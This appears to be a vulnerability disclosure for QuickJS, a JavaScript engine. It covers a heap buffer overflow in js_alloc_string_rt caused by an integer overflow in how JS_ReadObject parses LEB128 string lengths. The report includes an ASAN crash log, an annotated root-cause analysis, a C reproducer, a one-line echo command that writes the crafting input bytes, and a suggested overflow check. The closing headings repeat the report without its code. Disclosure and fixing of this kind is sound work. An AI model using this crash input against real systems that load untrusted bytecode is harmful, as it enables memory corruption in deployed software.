The Bug
There is a Heap Buffer Overflow in the js_alloc_string_rt function. The issue occurs due to an integer overflow in the LEB128 parsing, which leads to allocating a smaller buffer than needed. This results in zeroing four bytes after the end of the buffer allocation.
ASAN Report
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3587198609
INFO: Loaded 1 modules (72672 inline 8-bit counters): 72672 [0x5567c9ff6fb0, 0x5567ca008b90),
INFO: Loaded 1 PC tables (72672 PCs): 72672 [0x5567ca008b90,0x5567ca124990),
./eval-fuzzer: Running 1 inputs 1 time(s) each.
Running: minimal_crash.bin
=================================================================
==2901354==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000cfc at pc 0x5567c9be2cee bp 0x7fff90bebc00 sp 0x7fff90bebbf8
WRITE of size 4 at 0x602000000cfc thread T0
#0 0x5567c9be2ced in js_alloc_string_rt /home/quickjs/quickjs.c:1903:20
#1 0x5567c9c582d7 in js_alloc_string /home/quickjs/quickjs.c:1913:9
#2 0x5567c9c582d7 in JS_ReadString /home/quickjs/quickjs.c:35850:9
#3 0x5567c9b8d328 in JS_ReadObjectAtoms /home/quickjs/quickjs.c:36767:13
#4 0x5567c9b8d328 in JS_ReadObject /home/quickjs/quickjs.c:36815:9
#5 0x5567c9abb6dd in test_array_buffer eval-fuzzer.c
#6 0x5567c9ab8c26 in LLVMFuzzerTestOneInput (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x3f8c26) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#7 0x5567c99e1683 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x321683) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#8 0x5567c99cb3ff in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x30b3ff) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#9 0x5567c99d1156 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x311156) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#10 0x5567c99faf72 in main (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x33af72) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#11 0x7f3d27b19d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#12 0x7f3d27b19e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#13 0x5567c99c5cc4 in _start (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x305cc4) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
0x602000000cfe is located 0 bytes to the right of 14-byte region [0x602000000cf0,0x602000000cfe)
allocated by thread T0 here:
#0 0x5567c9a7dcfe in malloc (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x3bdcfe) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#1 0x5567c9bddb17 in js_def_malloc /home/quickjs/quickjs.c:1729:11
#2 0x5567c9be2bad in js_malloc_rt /home/quickjs/quickjs.c:1316:12
#3 0x5567c9be2bad in js_alloc_string_rt /home/quickjs/quickjs.c:1895:11
#4 0x5567c9c582d7 in js_alloc_string /home/quickjs/quickjs.c:1913:9
#5 0x5567c9c582d7 in JS_ReadString /home/quickjs/quickjs.c:35850:9
#6 0x5567c9b8d328 in JS_ReadObjectAtoms /home/quickjs/quickjs.c:36767:13
#7 0x5567c9b8d328 in JS_ReadObject /home/quickjs/quickjs.c:36815:9
#8 0x5567c9abb6dd in test_array_buffer eval-fuzzer.c
#9 0x5567c9ab8c26 in LLVMFuzzerTestOneInput (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x3f8c26) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#10 0x5567c99e1683 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x321683) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#11 0x5567c99cb3ff in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x30b3ff) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#12 0x5567c99d1156 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x311156) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#13 0x5567c99faf72 in main (/home/fuzz-builds/eval-fuzzer/eval-fuzzer+0x33af72) (BuildId: 680de49fc62205ed12e9ba9059f0c8e3ae561472)
#14 0x7f3d27b19d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/quickjs/quickjs.c:1903:20 in js_alloc_string_rt
Shadow bytes around the buggy address:
0x0c047fff8140: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8150: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8160: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8170: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8180: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
=>0x0c047fff8190: fa fa fd fa fa fa fd fa fa fa 04 fa fa fa 00[06]
0x0c047fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2901354==ABORTING
Description and Root Cause
static int get_leb128(uint32_t *pval, const uint8_t *buf,
const uint8_t *buf_end) {
const uint8_t *ptr = buf;
uint32_t v, a, i;
v = 0;
for (i = 0; i < 5; i++) {
if (unlikely(ptr >= buf_end)) break;
a = *ptr++;
v |= (a & 0x7f) << (i * 7);
if (!(a & 0x80)) {
*pval = v; // #2 <-- v here is 0xffffffff, hence *pval
return ptr - buf;
}
}
*pval = 0;
return -1;
}
static int bc_get_leb128(BCReaderState *s, uint32_t *pval) {
int ret;
ret = get_leb128(pval, s->ptr,
s->buf_end); // #1 <-- pval is set here too 0xffffffff by get_leb128 (from #2)
if (unlikely(ret < 0)) return bc_read_error_end(s);
s->ptr += ret;
return 0;
}
static JSString *JS_ReadString(BCReaderState *s) {
uint32_t len;
size_t size;
BOOL is_wide_char;
JSString *p;
if (bc_get_leb128(s, &len)) // #3 <-- len is set here too 0xffffffff by bc_get_leb128 (from #1 and #2)
return NULL;
is_wide_char = len & 1;
len >>= 1;
p = js_alloc_string(s->ctx, len,
is_wide_char); // #4 <-- allocating memory using len
...
}
static JSString *js_alloc_string_rt(JSRuntime *rt, int max_len,
int is_wide_char) {
JSString *str;
str = js_malloc_rt(
rt, sizeof(JSString) + (max_len << is_wide_char) + 1 -
is_wide_char); // #5 <-- This will result in allocating 14 bytes
if (unlikely(!str)) return NULL;
str->header.ref_count = 1;
str->is_wide_char = is_wide_char;
str->len = max_len;
str->atom_type = 0;
str->hash = 0; /* optional but costless */
str->hash_next = 0; /* optional */ // #6 <-- This will write 4 bytes after the allocation as 0
#ifdef DUMP_LEAKS
list_add_tail(&str->link, &rt->string_list);
#endif
return str;
}
The flow is:
- get_leb128 decodes a value (0xFFFFFFFF) from the input
- This value goes through bc_get_leb128 and becomes len in JS_ReadString
- js_alloc_string is called with this large value
- In js_alloc_string_rt, the size calculation sizeof(JSString) + (max_len << is_wide_char) + 1 - is_wide_char overflows
- This results in allocating a very small buffer (14 bytes)
- The code then tries to initialize the header fields, writing beyond the allocated buffer
The key issue occurs when setting str->hash_next = 0 which writes 4 bytes past the end of the allocated buffer.
Reproducer
// Compile with address sanitizer (ASAN)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "quickjs-libc.h"
#include "quickjs.h"
static void js_error_handler(JSContext *ctx, JSValue obj) {
const char *str = JS_ToCString(ctx, obj);
if (str) {
fprintf(stderr, "JS Error: %s\n", str);
JS_FreeCString(ctx, str);
} else {
fprintf(stderr, "JS Error: <unknown>\n");
}
}
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <input_file>\n", argv[0]);
return 1;
}
JSRuntime *rt = JS_NewRuntime();
JSContext *ctx = JS_NewContext(rt);
JS_SetMemoryLimit(rt, 0x4000000);
JS_SetMaxStackSize(rt, 0x10000);
FILE *f = fopen(argv[1], "rb");
if (!f) {
fprintf(stderr, "Cannot open input file: %s\n", argv[1]);
return 1;
}
fseek(f, 0, SEEK_END);
size_t size = ftell(f);
fseek(f, 0, SEEK_SET);
uint8_t *data = malloc(size);
if (!data) {
fprintf(stderr, "Cannot allocate memory for input file\n");
fclose(f);
return 1;
}
if (fread(data, 1, size, f) != size) {
fprintf(stderr, "Failed to read input file\n");
free(data);
fclose(f);
return 1;
}
fclose(f);
printf("Reading object from %zu bytes of data...\n", size);
// Call the vulnerable JS_ReadObject function
// This will trigger the heap buffer overflow with crafted input
JSValue obj = JS_ReadObject(ctx, data, size, 0);
if (JS_IsException(obj)) {
JSValue exc = JS_GetException(ctx);
js_error_handler(ctx, exc);
JS_FreeValue(ctx, exc);
} else {
printf(
"Successfully parsed object (this should not happen with crash "
"input)\n");
JS_FreeValue(ctx, obj);
}
free(data);
JS_FreeContext(ctx);
JS_FreeRuntime(rt);
return 0;
}
To create the input use the following command:
echo -ne "\x04\x07\x01\xFF\xFF\xFF\xFF\x7F" > crashing_input.bin
Potential Fix
I suggest that in js_alloc_string_rt there will be a check for a potential overflow. For example:
static JSString *js_alloc_string_rt(JSRuntime *rt, int max_len,
int is_wide_char) {
JSString *str;
size_t alloc_size;
/* Check for overflow */
if (max_len > (INT_MAX - sizeof(JSString) - 1) >> is_wide_char) {
/* Handle error */
return NULL;
}
alloc_size = sizeof(JSString) + (max_len << is_wide_char) + 1 - is_wide_char;
str = js_malloc_rt(rt, alloc_size);
...
}
The Bug
There is a Heap Buffer Overflow in the
js_alloc_string_rtfunction. The issue occurs due to an integer overflow in the LEB128 parsing, which leads to allocating a smaller buffer than needed. This results in zeroing four bytes after the end of the buffer allocation.ASAN Report
Description and Root Cause
The flow is:
The key issue occurs when setting str->hash_next = 0 which writes 4 bytes past the end of the allocated buffer.
Reproducer
To create the input use the following command:
Potential Fix
I suggest that in
js_alloc_string_rtthere will be a check for a potential overflow. For example: